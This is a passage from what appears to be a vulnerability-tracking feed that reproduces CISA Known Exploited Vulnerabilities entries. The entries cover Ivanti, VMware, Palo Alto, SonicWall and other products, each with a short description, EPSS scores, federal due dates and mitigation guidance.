30.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-26633&date=2026-10-25). Sources: CISA KEV entry CVE-2025-26633: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-26633&date=2026-10-25 CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 11, 2025; federal due date Apr 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-13161 Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability (Mar 10, 2025). Ivanti Endpoint Manager (EPM) contains an absolute path traversal vulnerability that allows a remote unauthenticated attacker to leak sensitive information. EPSS 89.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-13161&date=2026-10-25). Sources: CISA KEV entry CVE-2024-13161: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-13161&date=2026-10-25 CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 10, 2025; federal due date Mar 31, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-13160 Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability (Mar 10, 2025). Ivanti Endpoint Manager (EPM) contains an absolute path traversal vulnerability that allows a remote unauthenticated attacker to leak sensitive information. EPSS 91.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-13160&date=2026-10-25). Sources: CISA KEV entry CVE-2024-13160: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-13160&date=2026-10-25 CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 10, 2025; federal due date Mar 31, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-13159 Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability (Mar 10, 2025). Ivanti Endpoint Manager (EPM) contains an absolute path traversal vulnerability that allows a remote unauthenticated attacker to leak sensitive information. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-13159&date=2026-10-25). Sources: CISA KEV entry CVE-2024-13159: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-13159&date=2026-10-25 CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 10, 2025; federal due date Mar 31, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Advantive VeraCore Unrestricted File Upload Vulnerability https://kevwire.com/record/CVE-2024-57968 Advantive VeraCore Unrestricted File Upload Vulnerability (Mar 10, 2025). Advantive VeraCore contains an unrestricted file upload vulnerability that allows a remote unauthenticated attacker to upload files to unintended folders via upload.apsx. EPSS 32.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-57968&date=2026-10-25). Sources: CISA KEV entry CVE-2024-57968: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-57968&date=2026-10-25 CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 10, 2025; federal due date Mar 31, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Advantive VeraCore SQL Injection Vulnerability https://kevwire.com/record/CVE-2025-25181 Advantive VeraCore SQL Injection Vulnerability (Mar 10, 2025). Advantive VeraCore contains a SQL injection vulnerability in timeoutWarning.asp that allows a remote attacker to execute arbitrary SQL commands via the PmSess1 parameter. EPSS 55.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-25181&date=2026-10-25). Sources: CISA KEV entry CVE-2025-25181: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-25181&date=2026-10-25 CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 10, 2025; federal due date Mar 31, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware ESXi, Workstation, and Fusion Information Disclosure Vulnerability https://kevwire.com/record/CVE-2025-22226 VMware ESXi, Workstation, and Fusion Information Disclosure Vulnerability (Mar 4, 2025). VMware ESXi, Workstation, and Fusion contain an information disclosure vulnerability due to an out-of-bounds read in HGFS. Successful exploitation allows an attacker with administrative privileges to a virtual machine to leak memory from the vmx process. EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-22226&date=2026-10-25). Sources: CISA KEV entry CVE-2025-22226: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-22226&date=2026-10-25 CISA added this entry on 2025-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 4, 2025; federal due date Mar 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware ESXi Arbitrary Write Vulnerability https://kevwire.com/record/CVE-2025-22225 VMware ESXi Arbitrary Write Vulnerability (Mar 4, 2025). VMware ESXi contains an arbitrary write vulnerability. Successful exploitation allows an attacker with privileges within the VMX process to trigger an arbitrary kernel write leading to an escape of the sandbox. EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-22225&date=2026-10-25). Sources: CISA KEV entry CVE-2025-22225: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-22225&date=2026-10-25 CISA added this entry on 2025-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 4, 2025; federal due date Mar 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware ESXi and Workstation TOCTOU Race Condition Vulnerability https://kevwire.com/record/CVE-2025-22224 VMware ESXi and Workstation TOCTOU Race Condition Vulnerability (Mar 4, 2025). VMware ESXi and Workstation contain a time-of-check time-of-use (TOCTOU) race condition vulnerability that leads to an out-of-bounds write. Successful exploitation enables an attacker with local administrative privileges on a virtual machine to execute code as the virtual machine's VMX process running on the host. EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-22224&date=2026-10-25). Sources: CISA KEV entry CVE-2025-22224: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-22224&date=2026-10-25 CISA added this entry on 2025-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 4, 2025; federal due date Mar 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Use of Uninitialized Resource Vulnerability https://kevwire.com/record/CVE-2024-50302 Linux Kernel Use of Uninitialized Resource Vulnerability (Mar 4, 2025). The Linux kernel contains a use of uninitialized resource vulnerability that allows an attacker to leak kernel memory via a specially crafted HID report. EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-50302&date=2026-10-25). Sources: CISA KEV entry CVE-2024-50302: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-50302&date=2026-10-25 CISA added this entry on 2025-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 4, 2025; federal due date Mar 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Progress WhatsUp Gold Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-4885 Progress WhatsUp Gold Path Traversal Vulnerability (Mar 3, 2025). Progress WhatsUp Gold contains a path traversal vulnerability that allows an unauthenticated attacker to achieve remote code execution. EPSS 99.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4885&date=2026-10-25). Sources: CISA KEV entry CVE-2024-4885: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4885&date=2026-10-25 CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2025; federal due date Mar 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Win32k Improper Resource Shutdown or Release Vulnerability https://kevwire.com/record/CVE-2018-8639 Microsoft Windows Win32k Improper Resource Shutdown or Release Vulnerability (Mar 3, 2025). Microsoft Windows Win32k contains an improper resource shutdown or release vulnerability that allows for local, authenticated privilege escalation. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. EPSS 22.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8639&date=2026-10-25). Sources: CISA KEV entry CVE-2018-8639: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8639&date=2026-10-25 CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2025; federal due date Mar 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Hitachi Vantara Pentaho BA Server Special Element Injection Vulnerability https://kevwire.com/record/CVE-2022-43769 Hitachi Vantara Pentaho BA Server Special Element Injection Vulnerability (Mar 3, 2025). Hitachi Vantara Pentaho BA Server contains a special element injection vulnerability that allows an attacker to inject Spring templates into properties files, allowing for arbitrary command execution. EPSS 97.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-43769&date=2026-10-25). Sources: CISA KEV entry CVE-2022-43769: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-43769&date=2026-10-25 CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2025; federal due date Mar 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Hitachi Vantara Pentaho BA Server Authorization Bypass Vulnerability https://kevwire.com/record/CVE-2022-43939 Hitachi Vantara Pentaho BA Server Authorization Bypass Vulnerability (Mar 3, 2025). Hitachi Vantara Pentaho BA Server contains a use of non-canonical URL paths for authorization decisions vulnerability that enables an attacker to bypass authorization. EPSS 92.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-43939&date=2026-10-25). Sources: CISA KEV entry CVE-2022-43939: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-43939&date=2026-10-25 CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2025; federal due date Mar 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Small Business RV Series Routers Command Injection Vulnerability https://kevwire.com/record/CVE-2023-20118 Cisco Small Business RV Series Routers Command Injection Vulnerability (Mar 3, 2025). Multiple Cisco Small Business RV Series Routers contains a command injection vulnerability in the web-based management interface. Successful exploitation could allow an authenticated, remote attacker to gain root-level privileges and access unauthorized data. EPSS 54.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20118&date=2026-10-25). Sources: CISA KEV entry CVE-2023-20118: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20118&date=2026-10-25 CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2025; federal due date Mar 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2023-34192 Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability (Feb 25, 2025). Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting (XSS) vulnerability that allows a remote authenticated attacker to execute arbitrary code via a crafted script to the /h/autoSaveDraft function. EPSS 77.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-34192&date=2026-10-25). Sources: CISA KEV entry CVE-2023-34192: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-34192&date=2026-10-25 CISA added this entry on 2025-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 25, 2025; federal due date Mar 18, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Partner Center Improper Access Control Vulnerability https://kevwire.com/record/CVE-2024-49035 Microsoft Partner Center Improper Access Control Vulnerability (Feb 25, 2025). Microsoft Partner Center contains an improper access control vulnerability that allows an attacker to escalate privileges. EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-49035&date=2026-10-25). Sources: CISA KEV entry CVE-2024-49035: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-49035&date=2026-10-25 CISA added this entry on 2025-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 25, 2025; federal due date Mar 18, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Agile Product Lifecycle Management (PLM) Deserialization Vulnerability https://kevwire.com/record/CVE-2024-20953 Oracle Agile Product Lifecycle Management (PLM) Deserialization Vulnerability (Feb 24, 2025). Oracle Agile Product Lifecycle Management (PLM) contains a deserialization vulnerability that allows a low-privileged attacker with network access via HTTP to compromise the system. EPSS 3.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-20953&date=2026-10-25). Sources: CISA KEV entry CVE-2024-20953: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-20953&date=2026-10-25 CISA added this entry on 2025-02-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 24, 2025; federal due date Mar 17, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe ColdFusion Deserialization Vulnerability https://kevwire.com/record/CVE-2017-3066 Adobe ColdFusion Deserialization Vulnerability (Feb 24, 2025). Adobe ColdFusion contains a deserialization vulnerability in the Apache BlazeDS library that allows for arbitrary code execution. EPSS 90.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-3066&date=2026-10-25). Sources: CISA KEV entry CVE-2017-3066: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-3066&date=2026-10-25 CISA added this entry on 2025-02-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 24, 2025; federal due date Mar 17, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Power Pages Improper Access Control Vulnerability https://kevwire.com/record/CVE-2025-24989 Microsoft Power Pages Improper Access Control Vulnerability (Feb 21, 2025). Microsoft Power Pages contains an improper access control vulnerability that allows an unauthorized attacker to elevate privileges over a network potentially bypassing the user registration control. EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24989&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24989: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24989&date=2026-10-25 CISA added this entry on 2025-02-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 21, 2025; federal due date Mar 14, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Palo Alto Networks PAN-OS File Read Vulnerability https://kevwire.com/record/CVE-2025-0111 Palo Alto Networks PAN-OS File Read Vulnerability (Feb 20, 2025). Palo Alto Networks PAN-OS contains an external control of file name or path vulnerability. Successful exploitation enables an authenticated attacker with network access to the management web interface to read files on the PAN-OS filesystem that are readable by the “nobody” user. EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-0111&date=2026-10-25). Sources: CISA KEV entry CVE-2025-0111: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-0111&date=2026-10-25 CISA added this entry on 2025-02-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 20, 2025; federal due date Mar 13, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Craft CMS Code Injection Vulnerability https://kevwire.com/record/CVE-2025-23209 Craft CMS Code Injection Vulnerability (Feb 20, 2025). Craft CMS contains a code injection vulnerability caused by improper validation of the database backup path, ultimately enabling remote code execution. EPSS 21.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-23209&date=2026-10-25). Sources: CISA KEV entry CVE-2025-23209: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-23209&date=2026-10-25 CISA added this entry on 2025-02-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 20, 2025; federal due date Mar 13, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Palo Alto Networks PAN-OS Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2025-0108 Palo Alto Networks PAN-OS Authentication Bypass Vulnerability (Feb 18, 2025). Palo Alto Networks PAN-OS contains an authentication bypass vulnerability in its management web interface. This vulnerability allows an unauthenticated attacker with network access to the management web interface to bypass the authentication normally required and invoke certain PHP scripts. EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-0108&date=2026-10-25). Sources: CISA KEV entry CVE-2025-0108: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-0108&date=2026-10-25 CISA added this entry on 2025-02-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 18, 2025; federal due date Mar 11, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SonicWall SonicOS SSLVPN Improper Authentication Vulnerability https://kevwire.com/record/CVE-2024-53704 SonicWall SonicOS SSLVPN Improper Authentication Vulnerability (Feb 18, 2025). SonicWall SonicOS contains an improper authentication vulnerability in the SSLVPN authentication mechanism that allows a remote attacker to bypass authentication. EPSS 95.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-53704&date=2026-10-25). Sources: CISA KEV entry CVE-2024-53704: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-53704&date=2026-10-25 CISA added this entry on 2025-02-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 18, 2025; federal due date Mar 11, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SimpleHelp Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-57727 SimpleHelp Path Traversal Vulnerability (Feb 13, 2025). SimpleHelp remote support software contains multiple path traversal vulnerabilities that allow unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files may include server configuration files and hashed user passwords. EPSS 96.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-57727&date=2026-10-25). Sources: CISA KEV entry CVE-2024-57727: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-57727&date=2026-10-25 CISA added this entry on 2025-02-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 13, 2025; federal due date Mar 6, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS and iPadOS Incorrect Authorization Vulnerability https://kevwire.com/record/CVE-2025-24200 Apple iOS and iPadOS Incorrect Authorization Vulnerability (Feb 12, 2025). Apple iOS and iPadOS contains an incorrect authorization vulnerability that allows a physical 